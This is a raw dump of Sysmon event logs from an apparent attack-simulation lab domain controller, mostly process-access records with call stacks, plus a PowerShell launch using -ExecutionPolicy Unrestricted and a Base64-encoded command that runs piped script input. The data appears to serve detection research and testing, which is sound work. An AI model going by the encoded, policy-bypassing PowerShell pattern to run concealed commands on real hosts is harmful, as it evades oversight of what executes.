SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003925Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003924Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003923Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003922Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003921Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003920Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003919Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003918Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003917Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003916Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-291B-5F80-C500-000000007F01}33404972C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|UNKNOWN(00007FFAFDC2331B)|UNKNOWN(00007FFAFD0C41A5)|UNKNOWN(00007FFAFD0C3E76)|UNKNOWN(00007FFAFDB754DB)|UNKNOWN(00007FFAFD084A0C)|UNKNOWN(00007FFAFD0E2EDB)|UNKNOWN(00007FFAFD0C6540)|UNKNOWN(00007FFAFD0C6540)|UNKNOWN(00007FFAFD0C63D1)|UNKNOWN(00007FFAFD0B8356)|UNKNOWN(00007FFAFD0C4889)|UNKNOWN(00007FFAFD0C447C)|UNKNOWN(00007FFAFD0C41A5)|UNKNOWN(00007FFAFD0C3E76)|UNKNOWN(00007FFAFDB754DB)|UNKNOWN(00007FFAFD0AACD7)|UNKNOWN(00007FFAFD0AA2A7) 154100x80000000000000003915Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.058{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-291B-5F80-C500-000000007F01}3340C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000003914Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.001{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-291B-5F80-C500-000000007F01}3340C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003913Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.001{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-291B-5F80-C500-000000007F01}3340C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004051Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:53.595{A5F018FF-291D-5F80-CD00-000000007F01}1168C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\keawkpkh\keawkpkh.dll2020-10-09 09:10:53.532 10341000x80000000000000004050Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.595{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291D-5F80-CE00-000000007F01}4704C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004049Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.595{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004048Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.595{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004047Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.595{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004046Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.595{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004045Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.595{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004044Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 